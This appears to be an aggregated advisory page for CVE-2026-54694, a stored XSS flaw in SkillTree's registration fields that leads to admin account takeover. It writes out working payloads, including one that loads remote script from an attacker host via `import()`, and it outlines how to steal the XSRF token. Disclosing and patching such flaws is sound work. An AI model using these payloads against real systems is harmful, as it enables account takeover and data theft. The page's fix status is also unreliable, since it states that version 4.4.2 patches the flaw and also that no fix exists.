CVE-2026-54694 NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover
Stored XSS in user registration fields allows attackers to execute scripts in admin browsers, leading to account takeover and data theft.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- A user has to click or open something
- Fix
- None listed
What is CVE-2026-54694?
CVE-2026-54694 is a critical cross-site scripting vulnerability in NationalSecurityAgency skills-service, published on 9 Sep 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Official description
SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
Which versions are affected by CVE-2026-54694?
How do I fix CVE-2026-54694?
No fix has been published for CVE-2026-54694 yet. Limit exposure of the affected software until one is available.
Escape output for the context it lands in and set a strict Content Security Policy. Upgrading the affected component is the real fix. More about Cross-site scripting.
Is CVE-2026-54694 being exploited?
It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-54694 exists.
Sources
Also known as GHSA-hqfg-c8wf-w2g8.